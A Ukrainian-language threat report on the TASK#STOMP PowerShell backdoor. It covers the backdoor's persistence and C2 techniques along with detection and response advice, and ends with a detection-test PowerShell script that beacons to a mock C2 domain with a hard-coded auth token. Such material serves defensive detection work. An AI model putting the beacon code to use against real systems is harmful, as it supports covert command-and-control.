TASK#STOMP: PowerShell бекдор для крадіжки документів та віддаленого доступу

Резюме

TASK#STOMP – це стійкий бекдор на основі PowerShell, що використовує оркестрацію VBScript для створення множинних механізмів стійкості. Шкідливе ПЗ використовує компіляцію C# під час виконання, щоб обходити перевірку TLS сертифікатів і підтримує два резервні канали C2 для операцій шпигунства. Його можливості включають автоматизоване викрадення документів, спостереження і виконання довільних віддалених команд на скомпрометованих Windows системах.

Розслідування

Threat Research Секуронікс провели статичний і динамічний аналіз ланцюга зараження скриптами Windows. Дослідники декодували Base64-кодовані пейлоади, включаючи diag_pack.dat and win_conn_cfg.dat, і відновили дерево процесів виконання. Розслідування також виявило техніки маскування часу, ротації запланованих завдань та компіляції .NET під час виконання для уникнення виявлення безпекою.

Пом’якшення

Захисники повинні моніторити підозрілі відношення процесів, зокрема wscript.exe or cscript.exe запускає schtasks.exe з XML-определеннями в каталогах з можливістю запису користувачем. Вмикнення журнальовання Блокування Скриптів PowerShell і телеметрії AMSI може допомогти ідентифікувати декодування пейлоадів у пам’яті. Блокування відомих доменів C2 і виявлення неочікуваних csc.exe підпроцеси, створені PowerShell, можуть подальше ускладнити виконання.

Відповідь

Якщо виявлено активність TASK#STOMP, реагуючі повинні видалити всі якірні точки стійкості скоординовано, включаючи заплановані завдання та записи в папці автозапуску. Активні екземпляри VBScript та PowerShell, пов’язані з WinDefendSvc каталогом повинні бути завершені. Файли XML завдань і етапні .dat пейлоади повинні бути збережені для судово-медичних аналізів перед усуненням.

Ключові слова: TASK#STOMP, PowerShell бекдор, VBScript, стійкість з множинними якорями, компіляція C#, перевірка сертифікатів TLS, резервний C2, викрадення документів, спостереження, віддалене виконання команд, Securonix Threat Research, Base64, diag_pack.dat, win_conn_cfg.dat, маскування часу, ротація запланованих завдань, компіляція .NET, wscript.exe, cscript.exe, schtasks.exe, Журнальовання Блокувань Скриптів, AMSI, csc.exe, WinDefendSvc.

Виконання Симуляції

• Опис атаки та команди: Порушник успішно встановив стійкість на робочій станції, використовуючи бекдор TASK#STOMP. Щоб отримати подальші інструкції та ексфільтрувати вкрадені дані, шкідливе ПЗ ініціює сеанс PowerShell. Скрипт спроектований для маскування під легітимний веб-трафік, зв’язуючись з доменом, що імітує сервіс обміну файлами (corecloudfileshare.xyz). Щоб переконатися, що тільки авторизований бекдор може з’єднатися з C2, скрипт включає жорстко закодований X-Auth-Token у заголовках HTTP запитів. Ця специфічна комбінація призначення і заголовка є головним тригером для нашої логіки виявлення.

• Скрипт регресійного тестування:

  # TASK#STOMP Скрипт симуляції
  # Мета: Імітувати з'єднання C2 для тригеру правила виявлення
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] Ініціація симульованого з'єднання C2 до $C2Domain..."
  try {
      # Ми використовуємо -ErrorAction SilentlyContinue, оскільки домен не буде розв'язано в реальному тестовому середовищі
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] Команда надіслана."
  } catch {
      Write-Host "[!] З'єднання не вдалося (очікувано якщо домен не існує), але телеметрія повинна бути згенерована."
  }

• Команди очищення:

  # Постійних артефактів, створених симуляційним скриптом, немає. 
  # Якщо файл був створений, використовуйте: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] Очищення симуляції завершено. Артефакти не вилучені."